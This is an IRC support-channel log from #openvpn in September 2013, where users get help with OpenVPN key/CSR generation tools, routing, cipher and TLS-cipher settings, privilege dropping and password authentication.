16:33 < hjohnson> pekster: I've got no clue about programming windows. :)
16:33 <+pekster> Less complaining, more researching the suggestions/tools people give you
16:33 < hjohnson> all I'm saying is that it would be nice of those who do write the GUIs would include that functionality as an option.
16:33 <+pekster> Then stop wasting my/our time and go read the links you were given that ALREADY give you that option
16:34 <+pekster> Want it shipped to your users? Go put it in a single zip you give them. Want it in the same installer? Go download the nsis source and build it
16:34 < Skapare> if the GUI you are using for VPN doesn't handle X509, complain to that GUI author
16:34 < wallbroken> <wallbroken> i want to ask you: redirection works also without using iptables, just only enable packet forward?
16:35 <+pekster> wallbroken: Not really openvpn related. netfilter is not required for IP forwarding, no. You'd be foolish to run any Internet-connected system without a firewall though
16:35 <+pekster> Mind RFC1918 space
16:36 <+pekster> (and mind the double-pasting just a page later. I almost didn't reply becuase of that)
16:36 < wallbroken> ok, thank you
16:46 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 246 seconds]
16:47 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
16:48 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
16:54 < hjohnson> pekster: sorry to have caused offense, my intent here isn't to complain (I have a solution that works for me, and is secure enough for my needs).  Rather my intent was meant more as a wish list item for those that build the client front-ends.  With that, I'll leave it there, EOT.
17:00 <+pekster> Problem is what frontend to bundle? That's the entire reasy even the CLI-only utility was de-coupled in terms of upstream development
17:01 <+pekster> This said, there's no "easy to use Windows GUI" yet because no one has written one. Contibutions welcome.;
17:01 < hjohnson> I didn't say bundle any front end with OpenVPN
17:01 < hjohnson> if that's what you were thinking I was implying, i'm sorry, that wasn't my intent.
17:02 <+pekster> You did at that. The whole "your key has been generated" bit would be a frontend to actually performing the keypair/CSR generation, no?
17:07 < hjohnson> That wasn't my intent, sorry for the misunderstanding.  I guess my point was mostly that I'd love to see the key generation portion of the setup added to one (or more) of the many front-ends that already exist (I've played with a bunch, still haven't found that capability, maybe I'm looking in the wrong place).
17:08 -!- borei [~dan@S010678cd8e7ac150.vs.shawcable.net] has quit [Quit: Leaving.]
17:08 < EugeneKay> Patches welcome
17:08 <+pekster> easy-rsa (v2 and my v3 beta) do it. So does XCA (you were linked to that earlier.) ssl-admin does. There are others too
17:09 <+pekster> Each of these tools is fully able to generate keypairs and a CSR, though they vary in features and how flexible they are in terms of X509 protocol support
17:09 < hjohnson> pekster: yes, but those tools have different intents, I'm not really talking about managing the CA, for those tasks the tools you mention work great, an I use them for things other than OpenVPN too.
17:09 <+pekster> Neither am I
17:10 <+pekster> I use my easy-rsa v3 for "just generating the client keypair+CSR" too
17:10 <+pekster> `./easyrsa init-pki && ./easyrsa gen-req my-client-name-here && cat pki/reqs/my-client-name-here.req && echo "Profit\!"`
17:12 < hjohnson> sure, but now go and get your typical graphic cartist to use that to generate their keypair and send you the CSR.
17:12 <+pekster> You didn't expect NSIS to genrate an RSA keypair and spit out a PKCS#10-compliant blob did you?
17:13 <+pekster> XCA is a GUI that can do this
17:13 <+pekster> Have you looked it up yet?
17:13 < hjohnson> yes I have.  I've worked with it.
17:13 <+pekster> Ship a template with it and it's just a couple of clicks to generate a keypair+CSR
17:15 <+pekster> I've used this a long time ago, but I'm a little sketchy on the details of how well it worked: http://mycert.sandbox.cz/
17:15 <@vpnHelper> Title: My Certificate Wizard (at mycert.sandbox.cz)
17:16 < hjohnson> yes, I know.  And after trying to walk three people through that, I basically wound up going fuck it, an dwent to RADIUS authentication.  I had to hand-hold each person through doing this, even after providing them detailed click-by-click insstructions.
17:16 <+pekster> Dude, you can ship my-certificate-wizard so all they have to do is enter a name and password
17:16  * pekster files this under "not our problem if your audience is that brain-dead"
17:18 < hjohnson> pekster: I wouldn't say it's the OpenVPN team's problem either.  Anyhow, it's a moot point, username/password auth is good enough for me.
17:18 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
17:18 < hjohnson> sorry to have brought it up.
17:19 <+pekster> I just don't understand the issue you're trying to "solve" here. Are you actually saying shipping a file (and you can even have openvpn's NSIS install it for you as a start menu or shortcut entry) for a user to click on where they type a name and password and click "Create request" is too complex?
17:30 < hjohnson> I didn't achieve that level of integration/deployment, i freely admit that.  I did modify the installer to contain my config file and the server certificate, but that was about it. when I was etting this all up I hadn't seen the mycert wizard stuff, only the other CA admin tools, which is odd given how old the wizard tool is.  However, to me, it still makes sense to have an interface to the client key/CSR generation as part of the client front-end, rather th
17:30 < hjohnson> we're wasting far to much on this argument anyhow.
17:35 -!- baphomet1 [~baphomet@adsl-76-227-156-214.dsl.pltn13.sbcglobal.net] has joined #openvpn
17:36 < baphomet1> so I am back!  I have been trying to setup the routing in network manager in ubuntu and I either am doing something wrong or I am missing something.  EugeneKay, are you still around
17:36 < baphomet1> ?
17:36 < baphomet1> !clientlan
17:36 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
17:36 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
17:36 < EugeneKay> !ubuntu
17:36 <@vpnHelper> "ubuntu" is dont use network manager!
17:37 < lupine> harsh
17:37 < baphomet1> agree.
17:37 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has quit [Ping timeout: 260 seconds]
17:37 < lupine> i'd suggest "don't use network manager as an excuse for not understanding what's happening"
17:37 -!- crus` [~crusader@2001:44b8:319e:2900:c1a8:dcaf:dad7:fa31] has quit [Quit: ( www.nnscript.com :: NoNameScript 4.22 :: www.esnation.com )]
17:38 < baphomet1> I am trying to troubleshoot the issue, but I would rather not have to use the command line every single time I want to connect to my VPN from this laptop.
17:40 < baphomet1> EugeneKay, could you help me out a bit here?
17:40 <+pekster> hjohnson: It _cannot_ do what you want; maybe you missed the bit earlier where I noted that Easy-RSA v2 on the CA end requires the ou/org/state/city/state units to match. How do you propose to ship an openvpn installer to the masses that matches what "any possible" X509 fields are?
17:41 < baphomet1> or lupine
17:43 < EugeneKay> baphomet1 - service openvpn start
17:43 < hjohnson> pekster: I was presuppoing shipping a skeleton configuration/template included with the installer.
17:44 < baphomet1> EugeneKay, the service is running on the server.  I am connected to the VPN now.
17:45 <+pekster> Yes, I get that. So what do you ( as the PKI/CA admin) do when the user used the default/skeleton template that hard-coded the example defaults of org=Fort-Funston,city=SanFarnsisco,st=CA,c=US, and then your own easy-rsa2 refuses to install it becuase your org is really "My Example VPN" and city is "Boston" ?
17:45 < baphomet1> What I did was I went to the VPN in question, hit edit then went to the IPV4 settings tab.
17:45 < baphomet1> wait
17:45 < baphomet1> I think maybe I see the problem.
17:45 < baphomet1> brb
17:46 < hjohnson> pekster: tel them to use the installer I sent them, rather than the one they downloaded off the internet.
17:46 -!- baphomet1 [~baphomet@adsl-76-227-156-214.dsl.pltn13.sbcglobal.net] has quit [Quit: Leaving]
17:47 <+pekster> On the plus side, it's actually realistic to do this from a keypair/cert standpoint when we finally get rid of the extra PKCS#10 & X509 fields
17:48 < NEone> Creating the "server.conf" file. Not sure about the "local" line. Can I put the public IP of my leased dedicated server there?
17:50 < EugeneKay> Yes.
17:52 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:52 -!- baphomet1 [~baphomet@adsl-76-227-156-214.dsl.pltn13.sbcglobal.net] has joined #openvpn
17:52 < baphomet1> back.  sorry
17:52 < baphomet1> EugeneKay, what I thought it may have been didn't work
18:04 -!- nitram__ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has joined #openvpn
18:05 < NEone> LOL, --show-tls shows so many options to choose from, and I have no idea what I'm doing. ...Which one is best security? Wise to choose AES256-SHA256 ?
18:06 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Connection reset by peer]
18:08 < NEone> Also for --cipher I'm not sure if I should choose "AES-256-CBC" or "AES-256-CBC-HMAC-SHA1". Is any of these better than Blowfish with a high bitlength? Any hints?
18:10 -!- crus [~crusader@2001:44b8:319e:2900:ac5e:8784:a402:e4b1] has joined #openvpn
18:12 <+pekster> NEone: The --cipher does not include the hash
18:17 < NEone> It showed up when doing openvpn --show-ciphers
18:22 <+pekster> Hmm, odd. There are some new ciphers that combine both signature and encryption, but AES isn't one of them
18:23 <+pekster> I'd stick with either AES or blowfish; BF has performance benefits at the same bitrate, unless you have hw-acceleration for crypto
18:24 <+pekster> Camellia isn't a bad cipher either, although it's far slower than either AES or BF
18:24 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Disconnected by services]
18:25 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
18:25 < NEone> Which one is less vulnerable to NSA breaking it? ;) AES or BF?
18:25 <+pekster> yes.
18:26 < NEone> yes what?
18:26 <+pekster> Ask someone who works for the NSA, not me
18:26 < NEone> lol
18:26 <+pekster> I have no clue what the NSA, Microsoft, Apple, or any other private company does behind closed doors
18:27 < NEone> I'll give it a try with AES then
18:27 <+pekster> I deal in facts, not FUD. The facts are (and have been for decades now) that weak implementations get attacked. Spend time reading about --tls-auth and --tls-cipher instead of worrying about AES/BF
18:28 < NEone> Yeah, did. I'm using tls-auth. Not sure about the tls-cipher, but I'm trying it with AES256-SHA256 now.
18:30 <+pekster> Try using a forward-secret key exchange
18:31 -!- Haseo- [~Haseo@aufrinfo.net] has joined #openvpn
18:31 <+pekster> The bit where --show-tls says "in order of preference" is something of a clue. DHE-RSA-AES256-SHA256 would be wiser
18:31 -!- Haseo [~Haseo@aufrinfo.net] has quit [Ping timeout: 264 seconds]
18:31 -!- Haseo- is now known as Haseo
18:32 < NEone> This line "server 10.8.0.0 255.255.255.0" limits my max clients to be 253, right? So if I change that to "server 10.99.0.0 255.255.0.0" I can allow more clients to connect at the same time. But then I don't know what to set for "push route..."
18:37 < NEone> Oh. Seems I don't need that one. Sorry for the confusion
18:40 < NEone> Success! My openvpn finally works:) Thanks so much for all your help
18:42 -!- baphomet1 [~baphomet@adsl-76-227-156-214.dsl.pltn13.sbcglobal.net] has quit [Ping timeout: 240 seconds]
18:46 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: ...]
18:55 -!- nitram__ is now known as lmartin92
18:56 -!- lmartin92 [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has quit [Changing host]
18:56 -!- lmartin92 [~quassel@WiseOS/Builder/lmartin92] has joined #openvpn
19:08 -!- Veyron [~administr@93.115.84.195] has joined #openvpn
19:11 < Veyron> Quick question, I use the openvpn --config command to start my openvpn profile. Is there a similar command to end my vpn connection?
19:14 <+pekster> Send it a SIGINT signal (control-C on the prompt.) If it's Windows, the F4 key is bound to SIGTERM instead since Windows doesn't follow POSIX standards
19:15 < Veyron> I'm on linux
19:15 < Veyron> Mint
19:15 <+pekster> The IRC username suggested it might be Windows, hence the note there
19:18 -!- klein [~klein@187.85.175.132] has joined #openvpn
19:18 -!- klein [~klein@187.85.175.132] has quit [Changing host]
19:18 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:18 -!- Veyron [~administr@93.115.84.195] has quit [Read error: Connection reset by peer]
19:20 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
19:23 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
19:25 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
19:47 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
19:47 < NEone> Got this in the log: Outgoing Control Channel Authentication: Using 160 bit message hash 'SHA1' for HMAC authentication
19:47 < NEone> Is this normal? I never chose to use 160bit...
19:48 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
19:48 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:50 <+pekster> SHA1 is 160-bits. Read wikipedia for details
19:50 <+pekster> OpenVPN spits lots of information messages in the logs; unless they start with 'WARNING' or 'ERROR' you can usually ignore most of them
19:51 < NEone> I just didn't choose SHA1 somewhere. Does openvpn choose that one hardcoded?
19:51 <+pekster> Yes, many things are the default if you don't specify them
19:52 <+pekster> See the full list of operational defaults in the source code: https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/options.c#L778
19:52 <@vpnHelper> Title: openvpn/src/openvpn/options.c at master · OpenVPN/openvpn · GitHub (at github.com)
19:56 < NEone> ok, it's line 842+844. How can I override that within the server.conf? That's what the --tls-cipher is about, right?
19:57 <+pekster> Nope, --alg
19:57 <+pekster> --tls-auth takes 1 or more colon-separated values from `openvpn --show-tls`
20:02 <+pekster> Ah, that should have read --auth (not --alg)
20:02 <+pekster> (see the manpage for details: "alg" is the reference the value --auth takes that I transposed earlier)
20:03 < NEone> Can I set that only through commandline parameters? Not through a line within the configfile?
20:06 <+pekster> Read "OPTIONS" in the manpage
20:06 <+pekster> !man
20:06 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
20:08 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:11 < NEone> I have set the user nobody and group nogroup option. But when stopping the openvpn server with /etc/init.d/openvpn stop, I get errors in the logfile - probably because of the lack of permissions!
20:13 < NEone> These errors are like "SIOCDELRT: Operation not permitted" when he tries to del a route. Or "SIOCSIFADDR: Permission denied
20:13 < NEone> SIOCSIFFLAGS: Permission denied" when he tries to ifconfig the tun0.
20:14 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
20:16 < NEone> "ERROR: Linux route delete command failed: external program exited with error status: 7" and "Linux ip addr del failed: external program exited with error status: 255" don't sound really healthy too. Is this a known bug or am I doing it wrong?
20:16 -!- raidz is now known as raidz_away
20:18 <+pekster> You'd expect that when shutting down after downgrading privs
20:18 <+pekster> The IP/routes go away when the interface is taken down anyway
20:23 < NEone> "Error by design" is not a good practice. Anyway, if it's intended to be that way - so be it:/
20:25 <+pekster> That's how it works when you call chroot() from a C program. It's very much "good practice" to use it from a security perspective
20:31 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:33 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:43 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
20:46 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
21:06 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
21:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:19 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
21:20 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
21:20 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has left #openvpn ["Leaving"]
21:51 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
22:17 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 252 seconds]
22:27 -!- EugeneKay is now known as Eugene
22:41 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
22:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:44 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:45 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
23:24 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
23:25 < kplong> greetings. I am wondering if it is possible for one particular client can over-ride the redirect gateway push ?
23:25 < kplong> I admin an openvpn and my clients need to redirect all traffic, but I don't want this to be the behavior on my own connection.
23:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
23:53 < Skapare> kplong: maybe --push-reset ??
23:55 < Skapare> kplong: or maybe just don't use --pull in the client ??
--- Day changed Tue Sep 24 2013
00:13 -!- oc80z [~oc80z@blea.ch] has quit [Read error: Connection reset by peer]
00:14 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
00:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
00:16 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:32 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Ping timeout: 264 seconds]
00:32 -!- oc80z [~oc80z@blea.ch] has quit [Quit: ZNC - http://znc.in]
00:34 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
00:35 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
00:42 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:04 -!- jonascj [~jonas@0x4dd5cd09.adsl.cybercity.dk] has quit [Quit: leaving]
01:16 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
01:24 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
01:24 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:25 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
01:43 -!- master_o1_master [~master_of@p4FF24708.dip0.t-ipconnect.de] has joined #openvpn
01:46 -!- master_of_master [~master_of@p4FD7B470.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
01:53 -!- wallbroken [~wallbroke@151.56.246.53] has quit []
02:17 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
02:26 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep]
03:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:07 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:08 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
03:33 -!- iBong [~tittyspri@ks36224.kimsufi.com] has joined #openvpn
03:34 < iBong> does anyone know what is up with the wheezy repos?
03:34 < iBong> http://repos.openvpn.net/repos/apt/conf/
03:34 <@vpnHelper> Title: Index of /repos/apt/conf/ (at repos.openvpn.net)
03:35 < iBong> W: Failed to fetch http://swupdate.openvpn.net/repos/apt/wheezy-snapshots/dists/wheezy/main/binary-amd64/Packages: 404 Not Found
03:44 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rqcqnwantunlrhdh] has joined #openvpn
03:45 -!- iBong [~tittyspri@ks36224.kimsufi.com] has quit [Quit: Senkei.Senbonzakura.Kageyoshi]
04:17 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
04:20 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds]
04:20 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Client Quit]
04:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
04:27 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
04:29 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
04:59 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 246 seconds]
05:03 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
05:03 -!- takamichi [~takamichi@92.251.122.219] has joined #openvpn
05:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:21 -!- klein [~klein@187.85.175.132] has joined #openvpn
05:21 -!- klein [~klein@187.85.175.132] has quit [Changing host]
05:21 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:50 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
05:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:54 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
06:00 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rqcqnwantunlrhdh] has quit [Ping timeout: 245 seconds]
06:04 -!- aegis [~aegis@184.75.223.34] has quit [Ping timeout: 245 seconds]
06:05 -!- mndo [~mndo@bl17-111-30.dsl.telepac.pt] has joined #openvpn
06:06 -!- takamich_ [~takamichi@141.255.164.75] has joined #openvpn
06:07 -!- takamichi [~takamichi@92.251.122.219] has quit [Ping timeout: 240 seconds]
06:16 -!- si458 [560103da@gateway/web/cgi-irc/kiwiirc.com/ip.86.1.3.218] has joined #openvpn
06:17 < si458> hi people, hopying someone can help me
06:17 < si458> i think its a very simple fix but i cant find it :(
06:17 -!- takamich_ [~takamichi@141.255.164.75] has quit [Ping timeout: 246 seconds]
06:17 < si458> server 2008 r2 openvpn client connecting to zeroshell
06:17 < si458> for some reason the tap device never becomes active!
06:17 < si458> and the ip address is never assigned
06:17 < si458> it take like 5 mins after connect for it to become actve and then get given an ip address
06:18 < si458> is it a simple windows bug? or a miss config?
06:18 < si458> !welcome
06:18 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:18 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:19 < si458> !route
06:19 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
06:19 <@vpnHelper> the server or client
06:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:24 -!- si458 [560103da@gateway/web/cgi-irc/kiwiirc.com/ip.86.1.3.218] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
06:30 -!- Haseo [~Haseo@aufrinfo.net] has quit [Ping timeout: 260 seconds]
06:31 -!- Haseo [~Haseo@aufrinfo.net] has joined #openvpn
06:36 -!- spacedust [~info@unaffiliated/cosmicblue] has joined #openvpn
06:40 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Quit: This computer has gone to sleep]
06:42 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has joined #openvpn
07:20 -!- LOonix [LOonix@102.230.6.109.rev.sfr.net] has joined #openvpn
07:24 < LOonix> !welcome
07:24 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:24 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:28 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
07:29 -!- LOonix [LOonix@102.230.6.109.rev.sfr.net] has quit []
07:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
--- Log closed Tue Sep 24 07:46:11 2013
--- Log opened Tue Sep 24 07:46:28 2013
07:46 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
07:46 -!- Irssi: #openvpn: Total of 218 nicks [7 ops, 0 halfops, 1 voices, 210 normal]
07:46 -!- s0meone [~someone@somewhe.re] has joined #openvpn
07:46 -!- TheSov_ [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
07:46 -!- mode/#openvpn [+o ecrist] by ChanServ
07:47 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
07:47 -!- Irssi: Join to #openvpn was synced in 49 secs
07:47 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
07:48 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
07:49 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
07:51 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
07:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
08:10 -!- bwallen [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has joined #openvpn
08:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:12 < bwallen> I'm reading this stack exchange post on openvpn over vsat ( http://serverfault.com/questions/88181/how-do-i-improve-openvpn-reliability-over-a-high-latency-link) and one of the answers mentions increasing the size of the TCP window. Is that an openvpn option or something in my OS?
08:12 <@vpnHelper> Title: How do I improve OpenVPN reliability over a high latency link? - Server Fault (at serverfault.com)
08:12 < bwallen> Also, is that good advise?
08:13 < bwallen> *advice
08:14 < lupine> it's an OS knob, and generally a good idea for high-bandwidth and/or high-latency links
08:14 < lupine> if they're very-high-loss, it's less of good idea
08:15 < bwallen> lupine: Do you know of anything else I should try on a high-latency link?
08:17 < lupine> not something I have any real expertise in, no
08:17 < bwallen> Ok. Thanks for your help
08:18 -!- Diffen [~diffen@h237n11-lid-a11.ias.bredband.telia.com] has quit [Quit: This computer has gone to sleep]
09:17 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Ping timeout: 268 seconds]
09:23 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
09:35 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
09:45 < pekster> lupine: You might want to tune --replay-window; TCP window stuff won't apply to the outside (encapsulating) VPN traffic when you're using UDP, which is preferred
09:49 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:51 -!- NEone [~NEone@mailasp.fiveinfo.ch] has joined #openvpn
09:53 < NEone> Hi! I have put this line "tls-cipher AES256-SHA256" into the server.conf, which works fine. Putting in into the client.ovpn of the windows openvpn doesn't work, though.
09:54 < NEone> Is it possible that the (windows) client.conf does not support the tls-cipher option?
09:55 < pekster> It does; perhaps it doesn't support _that_ cipher?
09:55 < pekster> You should really use a forward-secret cipher anyway
09:55 < NEone> also tried putting tls-cipher DHE-RSA-AES256-SHA256. Same result
09:56 < pekster> On _both_ ends?
09:56 < pekster> TLS needs a common, agreeable cipher to negotiate between both peers
09:56 < NEone> When I comment it on server and client, the verb 4 log says, it's "UNDEF" and then it automatically uses DHE-RSA-AES256-SHA
09:56 < NEone> So it seems Windoze doesn't support SHA256 maybe?
09:57 < NEone> yes, I always made that line identical on server and client
09:57 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vipuolecomgyoqbg] has joined #openvpn
09:58 < pekster> TLS-DHE-RSA-WITH-AES-256-CBC-SHA256 <-- from my Windows `openvpn.exe --show-tls`
09:58 < pekster> Ah, actually you'll need to stick with SHA1 unless both your endpoints support TLSv1.2 negotiation
09:58 < pekster> This is present only in git -master code
09:59 < pekster> OpenVPN <=2.3.2 supports only TLSv1.0 cipher-suites
10:00 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
10:00 < NEone> Ok. I need to keep openvpn version 2.2.1 for the moment. What ciphers are included in TLSv1.0 then?
10:00 < pekster> DHE-RSA-AES256-SHA (IANA name TLS-DHE-RSA-WITH-AES-256-CBC-SHA) is generally the "best available" in TLS1.0
10:01 < pekster> https://www.openssl.org/docs/apps/ciphers.html#TLS_v1_0_cipher_suites_
10:01 <@vpnHelper> Title: OpenSSL: Documents, ciphers(1) (at www.openssl.org)
10:01 < pekster> Note that all the "extending TLS v1.0" applies too
10:04 -!- Nothern28 [~Seb@ppp-134.net-188-130-97.static.magiconline.fr] has joined #openvpn
10:04 < NEone> Great. Thanks.
10:04 < Nothern28> hi
10:04 < Nothern28> everyone ;)
10:05 -!- mode/#openvpn [+v pekster] by ChanServ
10:07 < Nothern28> i want to creat a openVPN on a windows 2008 server... for 8 clients... with an password for each client... It is possible for free?
10:10 < NEone> Nothern28: yes
10:10 <+pekster> Nothern28, yes, OpenVPN is available under a GPLv2 license, allowing you to use it at no charge for an unlimited number of users or instances. Note that the "Access Server" product is not completely open-source and has an EULA and licensing scheme
10:10  * pekster points to the /topic for info about AS
10:11 <+pekster> For password-only client auth (user+pass, no client-side certs) you'll need a scheme to locally authenticate users against some database or collection of credentials. See --auth-user-pass-verify in the manual (!man)
10:13 < NEone> I'm running an Apache2 webserver, which can only be reached through the VPN. Can I (from a php-script in apache) query which VPN-user (that means: which client certificate) is viewing the site?
10:14 < Skapare> so why are you "promoting" Access Server by describing the _bad_ things about it?
10:15 <+pekster> I'm obviously not promoting it ;)
10:15 < NEone> "AS" good thing is: it has extra functions and is simple to use, with a web GUI. The bad thing is: It costs money and is not opensource.
